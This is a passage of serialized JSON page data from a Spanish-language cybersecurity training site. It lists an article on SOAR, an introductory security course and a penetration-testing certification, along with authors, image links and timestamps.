este.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3dQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--c5a64e37a690cceb850d405b7fbe7fbc6adbc2ec\u002Fshutterstock_1184620222.jpg","2021-04-13T15:31:27-04:00","2026-10-26T11:55:40-03:00",{"slug":45,"title":46,"summary":47,"category":48,"author":49,"image_url":52,"image_thumb_url":52,"published_at":53,"updated_at":54},"la-importancia-de-un-soar-en-terminos-de-seguridad","La importancia de un SOAR en términos de seguridad","Es conocido que el avance tecnológico es cosa del día a día y así los peligros que este puede materializar en el Ciberespacio, es por esto que son muchas las herramientas necesarias a las cuales optan las empresas para proteger sus datos y activos. Pero esto tiene una curva cada vez más amplia, donde lo que se tiene integrado es un mero sinónimo de lo mucho que hace falta.",{"slug":8,"name":9},{"username":50,"name":51,"avatar_url":31},"user-1570553853","Flavio Esteban Canales Salvo","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ2tQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9a8439d5a0017e9aef4bb6e77a0f6ebaee6f3e68\u002Fshutterstock_1147173719.jpg","2021-01-14T14:26:15-03:00","2026-10-26T16:30:30-03:00",{"slug":56,"title":57,"summary":58,"level":59,"specialty":60,"category":63,"instructor":64,"image_url":68,"image_thumb_url":68,"duration_seconds":69,"lessons_count":70,"students_count":71,"is_free":72,"coming_soon":73,"updated_at":74},"introduccion-a-la-seguridad","Introducción a la Seguridad","Este curso tiene como objetivo comenzar en el mundo de la seguridad informática.","Basicos",{"slug":61,"name":62},"enterprise-pentesting-training-ept","Penetration Testing Student",{"slug":8,"name":9},{"username":65,"name":66,"avatar_url":67},"misaelban","Misael Banales","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9HIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--fcb46747ff2b0df3099425d0012f4da090b1db67\u002FIMG_2344.PNG","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaThOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ecc54bfb8fc4ff08be1e0805467c791c93fa803d\u002F2_-Introducci%C3%B3n-a-la-seguridad-inform%C3%A1tica-2.png",5085,10,39044,true,false,"2025-02-15T00:32:03-03:00",{"slug":61,"name":62,"summary":76,"level":77,"courses_count":78,"total_duration_seconds":79,"is_free":72,"image_url":80,"icon_url":81,"wallpaper_url":82,"updated_at":83},"Usted al finalizar la certificación Penetration Testing habrá obtenido el conocimiento para poder reconocer y analizar vulnerabilidades, explotar las debilidades en los sistemas y ayudar a protegerse de las amenazas,…","Básico",5,77388,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUlQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2514d038e8d6aff5caf896423c25af3de56fcd09\u002FStudent-Penetration-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaWdQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--a04208079ecbb8df87bdb8e7d6f8f822702d1d03\u002FPenetration-Testing-Student.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaTRQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--5e4754f3e0213a49757fe74e0c16177f96cb2692\u002FStudent-Penetration-Testing-02.jpg","2021-05-17T15:38:02-04:00"]